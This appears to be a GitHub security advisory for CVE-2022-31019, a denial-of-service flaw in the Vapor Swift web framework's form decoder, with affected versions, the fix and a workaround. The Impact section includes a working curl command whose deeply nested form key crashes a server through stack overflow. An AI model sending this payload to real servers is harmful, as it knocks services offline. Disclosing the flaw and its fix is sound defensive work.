Skip to content

Vapor vulnerable to denial of service in URLEncodedFormDecoder

High severity GitHub Reviewed Published Jun 6, 2022 in vapor/vapor • Updated Jun 30, 2023

Package

swift github.com/vapor/vapor (Swift)

Affected versions

< 4.61.1

Patched versions

4.61.1

Description

Vapor is an HTTP web framework for Swift. Vapor versions earlier than 4.61.1 are vulnerable to a denial of service in the URLEncodedFormDecoder.

Impact

When using automatic content decoding, e.g.

app.post("foo") { request -> String in
  let foo = try request.content.decode(Foo.self)
  return "\(foo)"
}

An attacker can craft a request body that can make the server crash with the following request:

curl -d "array[_0][0][array][_0][0][array]$(for f in $(seq 1100); do echo -n '[_0][0][array]'; done)[string][_0]=hello%20world" http://localhost:8080/foo

The issue is unbounded, attacker controlled stack growth which will at some point lead to a stack overflow.

Patches

Fixed in 4.61.1

Workarounds

If you don't need to decode Form URL Encoded data, you can disable the ContentConfiguration so it won't be used. E.g. in configure.swift

var contentConfig = ContentConfiguration()
contentConfig.use(encoder: JSONEncoder.custom(dates: .iso8601), for: .json)
contentConfig.use(decoder: JSONDecoder.custom(dates: .iso8601), for: .json)
contentConfig.use(encoder: JSONEncoder.custom(dates: .iso8601), for: .jsonAPI)
contentConfig.use(decoder: JSONDecoder.custom(dates: .iso8601), for: .jsonAPI)
ContentConfiguration.global = contentConfig

For more information

If you have any questions or comments about this advisory:

References

@0xTim 0xTim published to vapor/vapor Jun 6, 2022
Published by the National Vulnerability Database Jun 9, 2022
Published to the GitHub Advisory Database Jun 7, 2023
Reviewed Jun 7, 2023
Last updated Jun 30, 2023

Severity

High
7.5
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2022-31019

GHSA ID

GHSA-qvxg-wjxc-r4gg

Source code

Credits

Checking history
See something to contribute? Suggest improvements for this vulnerability.